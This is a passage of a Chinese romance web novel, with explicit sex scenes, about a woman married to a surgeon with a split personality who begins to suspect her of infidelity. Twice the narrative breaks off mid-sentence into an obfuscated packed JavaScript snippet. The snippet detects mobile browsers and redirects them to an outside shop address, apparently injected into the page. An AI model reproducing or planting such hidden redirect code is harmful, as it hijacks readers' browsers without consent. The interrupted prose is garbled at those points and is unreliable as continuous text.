林与青不会做这种事,他只会传统的那几种......但好在树大根深、本钱足够,即便有各种限制,体验也还算过得去,就是偶尔会出现差一点点才能到的情况。 但和这个他每次都可以,而且特别舒—— 卿意脸颊发烫,连忙掐灭各种跳出来的画面,只恨不能把自己脑袋里的黄/色废料全部倒掉。 她没有回答这个问题,默默钻进薄毯,紧接着他也扯开毯子跟着进来,和她亲密地咬耳朵:“卿卿,你那里刚才吸我的舌头,我真的好......” “你不要再说了!”卿意瞪他,红着脸用力翻身面朝墙壁,然后右脸被男人冷不丁“啵唧”一口。 ...... 终于消停下来,两人窝在狭小的沙发里小憩。 睡梦中她隐约感觉有东西在触碰自己的脸颊,凉凉的,像林与青的手,脑海里生成这个概念后,那只手却忽然变得粗糙、布满旧茧,甚至有很多长短不一的疤痕。 “不不不——对不起!” 大床上的女人猛地睁眼,瞳孔涣散地望向天花板,气息乱作一团,等到窗户被风吹动,发出细微“沙沙”声,她才缓慢回过神。 卿意凝眸,发现身上的衣服不知何时换成了睡衣,再一看,原来她睡在床上,林与青则安安静静躺在旁边。 整幢别墅静悄悄的,卿意坐起来,看着落地灯附近的影子,总觉得自己正在被黑暗一点点吞没。 她很想找人说会话,下意识翻出何年的电话,犹豫半天还是放弃了,悄悄下床拿了块三明治吃。 卿意边吃边走到画架前面,看清画上的内容那刻差点噎到。 张开的腿,脸上淡淡的潮红,这不是他刚才帮她*吗?! 她整个人都快烧起来了,迅速把画纸揭下来,无意中瞄到角落的小字:画家X模特。 卿意如同拿着一块烫手山芋,最终把画折起来藏进抽屉。 睡得太久,洗漱完依然还精神着,她从床头柜上拿了本杂志打算看会。 娱乐杂志,林与青和一些医学财经之类的刊物一起订的。卿意平时喜欢看看上面的衣服、包包和首饰,但今晚心绪不宁,翻了两页便没兴趣了,思来想去仍旧不想放弃说服何年来市里。 以前都是他照顾她,她不会把他丢在上寒村自生自灭的,来澜江市的话她可以帮他找份工作,再租个房子,总比待在那种无人问津的地方强。 卿意将手中的杂志放回原位,余光瞥到身边睡着的男人,不受控制地想起何年问她为什么要结婚。 “总归要结婚的。”她皱着眉自言自语了一句,指尖轻轻带过他的嘴唇。 有些时候她觉得现在这样已经是最好的境况了。 第二天是周日,卿意一到周末就赖床,睡意朦胧之际倏然对上一双冷森森的眼睛。 “干......干什么?”她吓得打了个寒噤,彻底从困倦中剥离开来。 “外面下雨了。”明明是在说天气,但男人却盯着她的脸,平淡应声。 林与青在一个小时之前醒的,当时她躲在他怀里睡得正香,一切似乎和往常一样—— 可他清楚地昨天傍晚她没有按时回家,难道是晚些时候回来的吗? 脑海中隐约有这段记忆,但等他想要探究细节,却又像梦境似的变得遥远不太真切。 见他恨不得要把自己盯出个洞,卿意不太自然地找借口诓骗:“还是不舒服吗?你昨晚就有点头疼。” 人格切换后记忆偶尔会衔接不上,卿意硬着头皮伸出双臂勾住他的脖子撒娇:“我想喝水。” 男人眉心舒展开来,轻拍她的背回应:“稍等。” 算是把事情糊弄过去了。 “晚上有个家宴,有空吗?” “咳咳咳......”卿意刚喝下去半口水,听到这句话差点呛到,心存侥幸地反问,“今天?上次不是说下周末吗?” 林与青将纸巾递给她:“祖父的战友想两家人聚一聚,就把时间提前了。” “好吧。”她点头应下。 林祖父去世的早,卿意也没有见过他,以前出于好奇在网络上搜过,有相关的报道但一律没有照片。既然是老爷子的战友,那她作为林与青的新婚妻子肯定是要出席的。 六月的梅雨季节,天空湿漉漉的,仿佛泼开了一盏隔夜的冷茶。 卿意有点纠结晚上穿什么,打算去衣帽间看看,路过他身边时突然被叫住。 “怎么了?”林与青比她高很多,没穿高跟鞋站在一起她总需要仰着头。 “我们结婚了,有任何烦恼都可以告诉我。” 卿意一愣,没明白他话里的意思,稀里糊涂答应下来。 她头也不回走向衣帽间,因而没有注意到身后男人逐渐黯淡下去的目光。 这场雨一直下到了傍晚,管家俯身和餐桌上的中年男人说了句什么,坐在对面的苏妘察言观色,主动道:“林叔,雨这么大,他们是不是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525854|203493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上堵车了?” “嗯,说还要一会。” “先把菜上齐。”肖婉珍吩咐管家,转而朝餐桌中央的老者微微颔首,“劳您久等了。” “街坊邻里的都认识多少年了,客气什么。”老人说起话来中气十足,眼神里全然没有年近古稀的浑浊,“冉家大女儿再过阵子就退下来了,我记得她以前和你妈妈是同门?” 肖婉珍和丈夫林政交换了一个眼神,点点头:“是,之前会议上碰见过几次。” 聊到一半,宴会厅的大门被佣人推开。 卿意不喜欢来西城院的另一个原因是林家的住宅占地面积太大,汽车停在外面,每次都要走特别久。 从南门进来,穿过一片种满各色花卉的花园,然后是接了活水的长圆角形池塘,还要再走一段汀步才能到主屋—— 此刻她的脚底已经隐隐作痛。 “苏老。”林与青礼貌问候,顺带拉开椅子,示意旁边的妻子坐下。 卿意当然做不到像他这么随意,略带矜持地弯腰朝长辈一一问好,等左侧方的女人抬起头才发现对方竟然是苏妘。 “好久不见。”她穿着一身象牙白色的衬衫裙,看上去舒展而优雅,和记忆里的模样大差不差。 “好久不见。”卿意同步回了个微笑,然后在旁边坐下。 “苏妘这几年在国外疯得不成样。”提及孙女,苏老语气里掩饰不住的自豪,“一会去海上玩帆船,一会又跟我说要去爬那个什么多米诺山......” “爷爷——”苏妘如同青春期的少女,俏皮地一字一句纠正,“是多-洛-米-蒂山。” 老人家被逗笑,掐了把花白的胡子冲另一边的夫妇说道:“他们这几个小时候都爱瞎折腾,倒是与青现在稳重多了。” 卿意从他们的对话中才知道林家和苏家是世交,那林与青和苏妘早就认识了...... 读书的时候她竟然一点没发现。 卿意被晾在一边插不进话,她一直以为苏妘是个不爱说话的高冷美人,但现在看来不仅不是,相反对方还很健谈。 更让她感到意外的是林父林母的态度,不说对她,平时他们对林与青的态度也时常让她觉得疏远和冷漠,但此刻对待苏妘完完全全就是两位慈爱的长辈。 以他们的身份地位不必讨好谁,那只能是真心喜爱了。 卿意垂着脑袋东想西想,没料到自己会被突然“点名”。 “与青的另一半是哪家的?看着有点面生。” 话毕,众人齐刷刷看向她这边,尤其是林与青妈妈似笑非笑的眼神,卿意被盯得莫名紧张,将手搭在膝盖上轻声回答:“我爸爸是凌世百货的董事长。” 不出意外苏老皱了皱眉毛:“现在在哪个单位工作?” “社保中心。” “一线工作价值也不高,而且要吃很多苦头,没去其他地方吗?”苏妘看着她的脸,问道。 “......还好,我工作有几个月了。” “下半年人社厅好像有名额,小卿可以去试试。”肖婉珍性格强势,加上许多年身居高位,语气总是夹着不容置喙的味道。 卿意的工作是正儿八经考上的,自然不愿意被林家安排,但她向来敬畏林父林母,一时间想不出合适的理由婉拒。 气氛僵持之际,身旁的男人接过话茬:“卿意现在的工作帮助过很多人,她也很喜欢,暂时没必要换。” 肖婉珍瞥了儿子一眼,面上看不出明显情绪。 “千金难买喜欢。”苏老和蔼点点头,招呼桌上的几个人先用餐。 卿意松了一口气,还好后面他们聊了些别的话题,这顿饭才有惊无险结束。 雨后的夜晚凉爽安静,两人并排走在别墅汀步路上,卿意听见他的手机响了好几次,但男人没有理会,不疾不徐往前走。 他长得高,路灯下影子几乎要将她包裹住,看着对方修长挺拔的身影,卿意主动朝他身侧靠了点:“谢谢你刚才帮我说话......” 闻言,林与青停下脚步,垂眸询问:“冷不冷?” 他的音色早已褪去了年少时的青涩,变得更沉更低,但卿意还是不可避免地想起从前两人放学后一前一后走出校园的那段日子。 她的视线停留在对方好看的嘴唇上,摇头:“我不冷。” “嗯,走吧。” 卿意原地杵了会,犹豫再三后快步追过去,趁男人不注意偷偷牵住他的手:“老公......” 5. 异样 西城院外围种了许多株丁香树,正值花期,湿润的空气里残留缕缕幽香,苏妘途经这段过去常来的路,远远看见前面的一男一女。 男人身材高大,西装穿在身上像T台上的模特,此刻正微微俯身和身旁娇小的妻子说着什么,过了会,两人十指相扣离开。 苏妘弯腰拾起飘落在草地的花瓣,片刻失神后,她的目光越过庭院,直直落在主屋二楼最左边的房间。 往日挂着风铃的窗户如今紧闭着,在周围亮灯的房间衬托下仿佛一口漆黑的井,井底的人和物则成了某种不能提及的禁忌。 伴随一声轻不可闻的冷嗤,苏妘捻碎指尖的丁香花瓣,将手指擦拭干净后转身离去。 * 回到月港没多久,夜雨淅淅沥沥下了起来。 卿意往浴缸里滴了两滴橙花精油,清新带着丝丝甜调的柑橘香,好闻极了。 壁龛上另外一瓶是雪松的,平时林与青用的比较多,她之前试过几次,实在不习惯木质香的气味。 舒舒服服泡了澡,卿意回到卧室,瞧见林与青正在露台那边打电话,她零星听见几栋商业楼的名字,不太清楚他具体在谈什么。 回家时两人之间的气氛还挺融洽的,卿意顺带帮他把换洗衣物拿出来,叠好放在床边。 才晚上八点多,她打开几分钟前下载好的招聘软件,翻着翻着刷出来单位附近一家便利店正在招聘店员。 要是何年能去这里工作的话她就能经常看见他了,也不用再担心他过得不好...... 有了方向,卿意立即将这个岗位的具体内容截图,她知道何年还在气头上,并不打算现在就发给他,况且这种事情还是当面说会更好一点。 正在思索什么时候再去找他一次,顶端的通知栏忽然弹出一则新闻,卿意往上瞥了眼,看见熟悉的名字下意识点进去。 原来苏妘从国外回来后在澜江开了一间律所,早两年就是商界的知名律师了。年轻有为,青年才俊,后生可畏......这些用词令卿意不可避免想起今晚饭桌上大家对自己工作的轻视,或许在他们眼里她在窗口的这份工作差不多等同于服务员。 虽然心底并不觉得自己的工作有任何低人一等的地方,但在如此强烈的对比下卿意难免惆怅,以前选择专业的时候她也曾经希望自己可以成为知名的翻译官,只是现在...... 卿意叹息一声将网站关掉。 “暂时先这样。” 挂断电话,林与青抬眸望向远方墨色的天穹,转身时卧室里的女人正趴在床上看书。 真丝睡裙薄薄贴着身体,曲线纤细婀娜,柔软的黑色长发随意散开,像一条月光下跃出海面的美人鱼。 他拿起桌上的水杯,喝了半杯后才走到床边:“在看什么?” 身后突然响起声音,一直在走神的卿意吓得差点一抖,回头看见他正好奇地看向自己手里的杂志,立即心虚地翻到下一页,嗫喏道:“没什么,我随便看看。” 闻言,男人微微挑眉,目光落回她身上。 他的眼睛是那种非常勾人的丹凤眼,窄窄的双眼皮,看上去天然有些不太好接近,但配上这个探究的神情,卿意感觉他在和自己调情。 她的耳朵有点烫,垂下脑袋避开对方的眼神,转过去捏着书脚装作认真的模样。 印象里她不爱看八卦新闻这个板块,林与青觉得妻子可能是无聊了,便打算早点洗漱完回来陪她。 “那个,衣服我帮你整理了。”眼尾余光瞄到某些人直接调头去衣帽间,卿意轻咳一声,朝床那边叠好的衣服扬了扬下巴。 令人不舒服的沉默过后,她听见了和往常一样、冷淡的一声“谢谢”。 ...... 卿意决定以后才不要帮他弄东弄西,叠衣服,打领带,递睡袍......她一件都不想做了! 她撇撇嘴,翻到杂志下一页,欣赏EASU新上的夏季连衣裙。 “有喜欢的吗?” “什么?”卿意再次回头,这才发现他不知道什么时候坐到了自己旁边。 “我看你一直在看这件。”林与青指尖点了点书页上最显眼位置的那条裙子,对上她水盈盈的懵懂眼睛,鬼使神差地低头吻了下她的眼尾。 卿意瞳孔地震,有那么一刻还以为是第二人格的林与青出来了,她刚才没有主动啊。 “都挺好看的。”她一时间没从突然的亲吻里反应过来,红着耳根回答。 “过两天我让人送过来。” 林家不缺钱,卿意极少在这方面客气,直到看见第二栏那件眼熟的衬衫裙,心底的别扭感瞬间油然而生。 “你们很熟吗?” “嗯?” “苏妘。”她继续盯着杂志,试图漫不经心地从他这里套话。 “以前住得近,偶尔会碰见。” “哦。” 林与青露出沉思的神情,进一步解释:“那个时候我想每天见到你。” “......”卿意连忙捏了把脸颊,那种酥酥麻麻的感觉才稍微下去点,她僵硬合上杂志,“谁说这个了,我先睡觉了。” 她只是觉得他们都事业有成,还是熟人,想从他这里了解了解苏妘的近况,就像成绩栏首行出现新名字,作为普通学生的自己忍不住想打听一下那样。 这男人想到哪里去了......卿意起身把杂志放回去,感受到身后紧跟着的目光,没忍住看了他一眼:“怎么了?” “没有。”他的视线始终钉在她身上,迟迟没有动身去洗漱的想法。 两人都是成年人了,还是有过肌肤之亲的成年人,卿意被他的眼神弄得不好意思,算算时间好像是今天该做了。 她垂着眼睫,试探性揪了揪对方的衬衫下摆。 林与青掠过她的小动作,抬手帮她把半潮的几缕发丝绕到耳后,正要开口,一只柔软的小手钻进衣服里,软绵绵地覆在他的腰上掐了一把。 “你不怕痒吗?”卿意咯咯直笑,担心真的把林与青惹不开心了,于是想将手抽回来,却又被他带过去搁在了后背上。 带着男性气息的身体压上来,她紧紧抱住他的背,抬眼望着他,虽然他的眼里依旧是平静如水的模样,但滚烫的体温足以说明一切。 卿意其实不知道接下来应该怎么做,索性先把睡裙脱了...... 她才撩起裙摆,就被林与青扣住了手腕,对上那双幽深的眼眸,卿意被盯得紧张:“我很喜欢这条裙子,不想弄坏......” 这句话很耳熟,林与青想起大二那次在酒店浴室里,两个初经人事的男女,她哭着咬他的脖颈,滚烫的热泪一颗颗砸在他的后背上。 卿意看出他走神了,耷拉下脸有点生气:“你在想什么?” 男人敛眸,拧起的眉在看见眼前气鼓鼓的妻子骤然松开,捧起她的脸颊吻了过去。 熟悉的气息顺着唇齿蔓延开来,他的舌尖灵活地在卿意口腔里扫荡,搅得她嘴里津液涔涔,卿意好几次想含住他的舌,却都被躲了过去,渐渐地,她有些喘不过气,轻哼出声,耳畔到脸颊一片绯色。 雨后温度低了点,没有衣物蔽体,林与青担心她着凉,边解衬衫纽扣边扯来薄被。 被刚才黏腻露骨的接吻一勾,卿意心跳飞快,正当她以为林与青终于开窍了的时候,他却忽然停住了。 她这时才发现他的脸色沉得厉害,忐忑询问:“是不是哪里不舒服?” 她非常担心这个时候他的第二人格出来,即便是同一具身体,但此情此景,第二人格绝对会拈酸吃醋然后闹着不肯走。 林与青的世界有一刻陷入了空滞,他听不清她在说什么,脑海中不停闪回刚才看到的画面。 红痕,为什么会有红痕? 这种淤红像亲吻或者激烈撞出来的,还在这样隐秘的地方......他最近没有这样过。 难道和上次她对自己说谎有关吗?会不会是因为—— 不会的,绝对不可能。 卿意很爱他,他也非常爱卿意,他们相爱好多年了...... “老公,你怎么了?” 林与青回过神,调整好呼吸将身下的女人搂进怀里,鼻尖的馨香令他短暂安心:“等我一会好吗?我先去洗澡。” 卿意被勒得肩膀痛,还没来得及吭声,他亲了下她的额头然后下床走向浴室,甚至连换洗衣物都没拿。 望着男人离去的颀长背影,她总感觉哪里怪怪的,虽然他以前也经常这样毫无情趣地破坏氛围,但也从来没有像现在这样魂不守舍...... 被打搅本就影响兴致,卿意懒得深想重新穿上睡裙,明天还要上班呢,她没有性趣再来了,自顾自躺进被窝休息。 周一早晨,雨停了,是个不明不暗的阴天。 卿意换上工作装下楼吃早餐,人还在旋梯便瞧见了餐桌上的男人,不禁讶异:“今天不去医院吗?!” “十点半有台手术,吃完早餐我送你去单位。” 卿意不知道他哪根神经又搭错了,反正她是真的不想再成为同事议论的话题,当即找借口拒绝:“不用了,我让司机——” 木椅划过地面发出一声短促的声响,卿意愣了一瞬,迟疑片刻后坐过去。 “放了果酱。” 金黄的三明治摆上了她的餐盘,卿意一时半会接不上刚才的话题,只好点点头先用餐。 “昨晚很累吗?我从浴室出来的时候你睡着了。”他大概已经吃过了,没动食物只是看着她。 卿意刚张开嘴,突然意识到自己正在吃东西很不礼貌,赶紧咽下又喝了点牛奶,才回答:“不好意思,晚上有点困。” “嗯。” 餐桌上静了下去,卿意平时一个人吃早餐吃惯了,现下身边放个人盯着,浑身都不自在,低头默默吃自己的。 直到上车,两人都没说上几句话。 碍于整个早上的沉闷气氛,卿意不好直接说把车停在离单位远点的地方,于是死了这条心,老老实实坐在副驾上。 期间打了个盹,等她醒过来,轿车正停在 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这台手术病人发病的位置不好,在颅底,加上快4cm,严重压迫到了视神经和动脉包绕,科主任本不想一直麻烦林与青,无奈手术风险太大,只好派他去。 手术室内,精密仪器偶尔发出几声低鸣,无影灯下的男人沉静专注,有条不紊进行颅骨开窗。 “双极电凝。” “吸引器。” 肿瘤的一部分包裹住了一条动脉血管,稍有不慎便会引发大出血。林与青眉间微微凝着,口罩下的声音透着几分沉闷:“显微剪。” 护士迅速将器械递到他的掌心,动作流畅、无声。 这场手术持续到下午三点才顺利结束,林与青与激动万分的病人家属擦肩而过,回到办公室刚换好衣服,门外响起了敲门声。 “请进。” 新来的护士推开门,看见站在办公桌旁边的男人时愣了半晌,说出来的话也变得不太利索:“林、林医生,院长想下班后和您谈谈,不知道您有没有空?” 林与青清楚院长想谈什么,此刻他分不出精力,直截了当拒绝:“我晚点要去接我爱人,抽不出空,麻烦你转告。” “好的。” 新护士很早之前就听过林与青的名字,王牌医生、医界圣手等等诸如此类的夸张词汇,但今天见到真人才知道对方这么年轻,长得还跟明星一样...... “英年早婚啊。”她在心里默念一句,红着脸合上门。 室外仍旧是灰蒙的天气,梅雨季节,即使不下雨空气也带着湿漉漉的水分。 林与青小憩片刻后驱车前往社保中心,在单位对面的路旁停下。 她在第三个窗口工作,林与青环顾一圈,旁边的同事基本都是女性,直到下班,他也没有看到卿意和别的男人有异常接触。 接下来的几天都是正常的,林与青不禁怀疑那天晚上是自己眼花了,或者那块淤红只是她不小心碰到了什么地方而已。 他不能再继续怀疑卿意了,这是对她的不信任,被她知道的话肯定会生气。 最后一个下午,窗口前面拍起长队,她忙忙碌碌没停下来过,林与青静静看了她两个小时,然后才准备回市医院找院长谈上次的事情。 正要打方向盘,窗口那边有个中年男人似乎情绪失控了,不停拍打窗口的玻璃,隔着一段距离,林与青看见她惊慌失措地站了起来。 “你们领导是谁!我要投诉这个女的!” “什么态度啊,跟个坐台小姐一样!” “真是奇葩。”隔壁工位的大姐轻啐一声,趁手头闲下来起身过去帮忙。 卿意工作时间不长,还是头一回遇见这种破口大骂的人,就因为有个流程涉及到个人信息,她帮不了忙得去世者的家属亲自填写,来回拉扯好久,对方突然大吼说她态度不好...... “宋姐。” “没关系,我来弄就行。” 卿意不好意思当甩手掌柜,想着把剩下的信息先给录入进去,却忽然被主任喊去办公室。 “小卿,你先休半天假,别影响工作状态。” “我没事,李主任,不用休——” “唉。”李主任打断她的话,慢悠悠走到打印机旁边拿资料,看上去心情不错,“你们年轻人不用这么拼命,让你回去休息就休息,带薪假!” ......卿意感觉李主任今天吃错药了,平时他明明最看不惯老员工按时下班。 领导都发话了,她没再坚持,回收纳柜拿上包包打算回月港,担心从大堂走被刚才的大叔抓住纠缠不清,卿意小心翼翼从侧门出去。 遇见这种倒霉事多多少少影响心情,卿意揉了两下自己的脸颊,单薄的肩膀伴随一声叹息垂下去。 走出单位,余光瞥到街道旁边停着辆眼熟的黑色宾利,她诧异抬起头,目光和不远处的男人碰上。 浅灰色衬衫,袖口半挽了起来,看过来的视线格外柔和。 一股浓浓的人夫味。 卿意拢了拢包包快步过去。 6. 确认 “你怎么过来了?” 夏季阴天有些闷热,她走得急,明明没几步路脸颊却泛起淡淡的红,林与青用手背轻轻碰了下她的脸,“怎么急匆匆的。” 冰凉的温度让卿意感觉很舒服,她像只伸懒腰的猫儿下意识想蹭一蹭对方的手,这个念头仅一闪而过,她回道:“我看你好像等了很久,是不是有事情?” 和她不一样,林与青23岁的时候就博士毕业了,接下来的一年多在首都医院一边工作一边做研究,今年年初因为两人结婚才回澜江的。 平时他的工作很忙,不是要紧的事情大约没这个闲工夫在上班时间来找她。 林与青望向侧方的社保中心,过了会目光重新定格在她的脸上:“卿意,换一份工作吧。” 卿意一怔,脸色也微微变了,随后像学生时代那样窘迫地低下脑袋,盯着路面:“你都看到了。” 卿意心里有点难过,这段时间接二连三出现各种事情提醒她是个再平凡不过的人,普通人自然没有错,可偏偏她的丈夫又是个注定不会普通的人,这种对比和落差之下显得她攀附高门一样...... 明明是某些人先喜欢她的,也是他先和自己求婚的。 “我没有其他意思。”林与青弯下腰,额头正好抵着她的额头,“有没有吓到?” 男人语调放得格外轻缓,呼吸温热,卿意耳朵顿时酥了半边,加上又在大马路上,她恨不得把头栽进地里:“没关系,这些情况平时都挺常见的。” 身上还穿着单位的工作服,害怕影响不好,卿意向后退了小半步拉开距离,继续道:“而且我领导人也挺好的,还让我休了半天假。” 闻言,林与青沉默片刻,没有告诉她是因为他刚才和李主任打过招呼,他打开车门,两人先后进去。 车内有股淡淡的柑橘味,闻起来十分清爽,卿意晕车,闻到这个味道便会好受许多,家里通勤用的那辆奔驰也放了这种熏香。 “你还要回医院吗?”卿意在摸安全带的时候顺带问道,她现在还不知道他为什么突然来社保局找自己。 林与青侧身过去,先一步帮她安全带扣紧,“不回去了,今天事情少,拿资料正好路过这边。” 两人靠的近,卿意嗅到了他衬衫上残留的消毒水气息,幽幽冷冷的,有点呛鼻子。 “医院办公室正好缺一名助理,考虑过来吗?”他回到驾驶座,并没有立刻发动轿车。 助理,林医生。 卿意的思绪一下就飘远了,不受控制想起昨晚的放纵床事。 当时她在半梦半醒间涨得难受,刚睁开眼就被他故意使劲撞了一下,这才意识到他们正在...... 想也不用想这是另外一个他,卿意咬紧下唇发出微弱的嘤咛,没过多久被男人掐着下巴扳过去—— 他穿着林与青的工作服,白色衣服上洇开星星点点暧昧的水液。 “卿卿。”男人啄咬她的后颈,语气里带着明晃晃的恶劣,“怎么不叫我林医生?” 卿意睁大眼睛,愣住了。 他对林与青一直都是排斥和讥讽的态度,像一头成功争夺到领地的雄狮,突然这样卿意没反应过来,况且她根本不想在这种时候让林与青诡异地“加入”...... 见她不肯,他半坐起来,把她从被窝里捞出来摁在腿上,进五退三,时缓时急,后半夜她实在受不住哭着求饶,他才不情不愿抱她去浴室。 “每次我都能找到你藏起来的小本子,卿护士。” 卿意累极了,眯着眸子躺在浴缸里,任由他轻揉自己的腰,只用舒适的哼唧当作回应。 “有些时候我真觉得他是个瞎子,你说对不对?” 眼皮被亲了一下,这句求认可的话卿意没搭理,默不作声往水里缩了点。 “再来一次吧。” ...... “到医院工作后我们可以时常见面。” 卿意被这句话唤回神,对上视线那刻立即心虚地别开了眼睛,拒绝道:“不用的,只是一点小问题。” 林与青不会在这些事情上强迫她,没再坚持,发动轿车。 工作日加之没到下班时间,一路畅行无阻,两人向来没多少共同话题,卿意习惯了车内的沉默,扭头看着窗外发呆。 也许是受了上次回上寒村的影响,这几天她时不时想起过去的事。 爱坐在方桌上座喝白酒的姨父,端着碗站在门口吃饭的姨妈,总抢她衣服穿的表姐,以及一楼那间潮湿、没有一丁点阳光的卧室。 卿意突然感觉到包包里的手机在震动,拿出手机一看,是妈妈的消息。 她纠结半天,最后还是回头询问正在开车的丈夫:“这几天手术多吗?” 预料中的答案没有出现,半晌后她听见对方颇为认真地说了一句“抱歉”。 卿意被这声道歉弄得不明所以,还没说话他反倒先开口:“我以后多抽点时间陪你。” 车在红绿灯前面停下,她看着握住自己手的男人,满脸茫然依然在状况外。 “对不起,卿意,我不是一个合格的丈夫。”林与青垂下眼眸,目光停留在她的无名指上,然后用自己手指上那枚婚戒,轻轻碰了碰她的。 卿意的眼神落在他脸上,高挺的鼻梁,俊逸的眉眼,红润的嘴唇,以及喉结旁边一颗小小的痣...... 她不明白这番话里的意思,但看见两人紧挨着的婚戒,心脏软了几分,玩闹似的挠了下他的手心:“你说什么呢,老公。刚才我妈问我们最近忙不忙,说好久没回去了。” 她就是想问问有没有空陪自己回去而已,他怎么扯这么远...... “好,你们定时间就可以。”绿灯即将亮起,他仍然在看着她。 林与青极这个人少向外表达情绪,像没有涟漪的湖泊,稳定平静,他们只在大二有过唯一一次争吵。 随着年龄增长,他的话变得越来越少,卿意偶尔也会怀疑自己是否真的走进了他的心,再者,即便亲如夫妻也是有独立空间的,他同样并非她倾诉情感的最佳人选。 卿意和过往一样没有选择过问,朝他点点头:“那约好时间后我再告诉你。” “嗯。” 车内再次恢复安静,月港离单位不远,过了半小时还没到,卿意觉得奇怪,正准备问一问发现轿车停在了一家大型商超前面。 “要买什么吗?”家里有四五个生活保姆,她实在想不到缺什么需要他亲自来买。 “上次说好一起下厨,等会去买点食材。” 卿意想起来了,之前去找何年的时候他提起过的,她微微往后靠方便男人替自己解安全带,“可是没有想好吃什么......” “有哪次想好过?”伴随男人干净悦耳的轻笑声,安全带“咔嗒”解开。 卿意瞟见他微微勾起的嘴角,搂住男人的手臂接上对方这句罕见的玩笑话:“因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男人将食谱放回玻璃桌,神情没多大变化:“不需要买些甜点吗?” ......卿意怀疑他是故意这样说的,软威胁自己去拔智齿。她才不上套,但现下又的确饿了,于是催着他去收银台买单。 回到月港差不多傍晚六点,两人进厨房忙碌。 卿意帮他系好围裙,负责洗菜、择菜,打打下手,忙完后有点无聊,安安静静坐在岛台后面看他煎牛排。 晚餐吃得很愉快,他们还在二楼电影房看了一部老的爱情片,电影进行到后半段卿意的眼皮不住地打架,埋在男人胸前稀里糊涂睡了过去。 最后的二十分钟林与青独自看完的,并非什么新奇的故事,剧情发展也有些老套,但有了亲身经历,林与青十分认可这部电影想要表达的情感。 他和卿意同样是青梅竹马,也应该要更加信任彼此才对,她的工作这么辛苦,他却还用出格的想法揣测她....... 林与青低下头,温柔地亲吻怀中女人的眉睫,“睡着了吗?还没有换睡衣。” 可能碰到皮肤不舒服,她皱了皱鼻子,嘀咕两句他听不懂的语言后接着睡觉。 林与青无奈轻笑,抱起她回卧室。 平常她爱穿一条淡蓝色的睡裙,林与青找出来想帮她换上。 随着上衣、半裙以及打底的衣物一件件褪下,他又一次在没有任何准备的情况看见了一小片红痕—— 相似的位置,相似的颜色,相似的大小,在暖光灯下尤为刺眼。 林与青大脑一阵剧烈嗡鸣,良久,他放下睡裙,伸出手轻轻触摸大腿内侧的那块痕迹。 是真的。 他的妻子,他的爱人,的确出轨了。 7. 三次 睡梦中,卿意感觉胸口似乎有块重石,压得她一直喘不上气,她尝试翻身侧睡,却动不了分毫。 卿意硬生生被压醒,睁眼时左手迷迷糊糊动了两下,结果摸到一块冰凉的皮肤,刹那间,她的后颈汗毛都炸开了,“林与青?!” 男人没吭声,透过微弱的月光,静静注视着她。 卿意心脏“怦怦”狂跳,过了好一会才恢复神志,垂眸望向靠在自己肩膀上的男人,心有余悸试探道:“老公?” 卧室漆黑一片,床边的落地灯也不知道什么时候关掉了,黑暗里她只能看清对方模糊的轮廓,以及夜猫似的眼睛。 “你醒了。”语调仿佛后半夜树叶上的露水,寒浸浸的。 这种感觉非常不舒服,确定没换人后卿意想开灯或者看眼时间,这一动才发现身体也被他锁住了,怪不得这么难受。 “怎么不睡觉?” “我不困。”他说着,目光忽然落在她的颈间。 卿意看不清他的神情,下意识伸手摸了摸自己的脖子,还在疑惑之际,他突然凑了过来。 软而湿润的吻落在耳后,触电一般,卿意的睫毛抖了抖,手指忍不住抠紧床单,缠吻变得越来越重,炙热的呼吸好似燎过来的火焰,所到之处一片滚烫,她侧过脑袋想要躲避,不明白他到底怎么了。 林与青指尖碰到了她的脸颊,滚烫的,像一颗熟透散发旖旎香气的水蜜桃,她这样看过别人吗? 用潮湿和懵懂的目光,看向其他男人。 “嗯—-”卿意拖着急促的尾音叫了出来。 她的睡裙衣角被男人攥住压在侧腰上,他就这样狠狠掐着她的腰肢,一下接一下,柔软的布料磨得人发痒。 太奇怪了。 卿意直觉他在生气,平时温柔斯文的丈夫此刻仿佛要把自己弄死过去,她像个狼狈的求救者,拼命勾住他的脖子防止被撞出去。 卧室温度不断攀升,卿意鬓边热出一层薄薄的汗珠,她扯开被子,冷空气接触到肌肤那刻又立马抱住他的肩膀,无意识地娇咛:“老公......与青......” 密集的声响戛然而止。 林与青低头盯了一会,随后抽身,伸手开了盏壁灯。 卿意眼底氤氲着水汽,微微张开唇喘气,还没从忽然的空虚里回神,见他回来了便主动撑起身询问:“你怎么了?” 看见她小心翼翼的模样,林与青抿紧唇一言不发,视线下移,她的腿根通红一片,别的痕迹也不甚分明了。 这份沉默让卿意不知道接什么话好,索性闭上嘴躺回去,没过两秒唇瓣被男人含住轻轻吸吮。 她不是什么柳下惠,半推半就地回应对方,直到第三回她实在没有力气了想要休息,但他还是不肯停下,疯狂的样子让卿意既害怕又上瘾。 最后已经是凌晨四点了,两人赤裸着,精疲力尽抱在一起。 卿意窝在男人颈间累得眼皮都抬不起来,抬手时恍惚摸到他眼尾似乎有些湿润。 大概是汗水吧,他今晚怎么这么奇怪,平时不会半夜和她做的...... 腹诽一通后卿意困极了,和从前一样,在他怀里找了个舒服的姿势进入梦乡。 第二天听到闹钟响的时候已经八点半了,卿意摁灭手机,手忙脚乱从被窝里爬起来。 “还早。” 卿意穿衣服的手一怔,这才发现身侧还躺着个人。 墨蓝蚕丝被堪堪盖到男人腰的位置,此刻大半个身体裸露在外,胸肌和小腹上的淡粉色划痕显得格外扎眼。 ...... 卿意的脸颊“唰”地一下红了,匆忙挪开视线:“今天怎么还没去上班?” “我没有睡好。” 卿意扫过他眼下那圈淡淡的乌青,扭捏道:“晚上弄太晚了,下次你——” “不是。”男人眼神空洞仿佛自言自语,“不是这个原因。” 